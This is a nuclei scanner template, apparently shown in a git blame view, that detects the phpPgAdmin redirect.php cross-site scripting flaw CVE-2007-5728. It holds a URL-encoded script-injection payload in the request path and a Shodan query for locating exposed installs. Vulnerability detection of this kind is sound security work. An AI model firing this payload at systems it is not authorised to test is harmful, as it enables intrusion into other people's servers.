nuclei-templates/cves/2007/CVE-2007-5728.yaml

33 lines
1000 B
YAML
Raw Normal View History

2021-11-20 12:27:41 +00:00
id: CVE-2007-5728
info:
name: phpPgAdmin 4.1.1 - 'Redirect.php' Cross-Site Scripting
author: dhiyaneshDK
severity: medium
2021-11-21 09:23:15 +00:00
description: Cross-site scripting (XSS) vulnerability in phpPgAdmin 3.5 to 4.1.1, and possibly 4.1.2, allows remote attackers to inject arbitrary web script or HTML via certain input available in PHP_SELF in (1) redirect.php, possibly related to (2) login.php, different vectors than CVE-2007-2865.
tags: cve,cve2007,xss,pgadmin
2021-11-20 12:27:41 +00:00
reference: https://www.exploit-db.com/exploits/30090
metadata:
shodan-query: 'http.title:"phpPgAdmin"'
requests:
- method: GET
path:
- '{{BaseURL}}/redirect.php/%22%3E%3Cscript%3Ealert(%22document.domain%22)%3C/script%3E?subject=server&server=test'
matchers-condition: and
matchers:
2021-11-21 09:23:15 +00:00
2021-11-20 12:27:41 +00:00
- type: word
words:
- '<script>alert("document.domain")</script>'
2021-11-21 09:23:15 +00:00
2021-11-20 12:27:41 +00:00
- type: status
status:
- 200
2021-11-21 09:23:15 +00:00
2021-11-20 12:27:41 +00:00
- type: word
2021-11-21 09:23:15 +00:00
part: header
2021-11-20 12:27:41 +00:00
words:
- "text/html"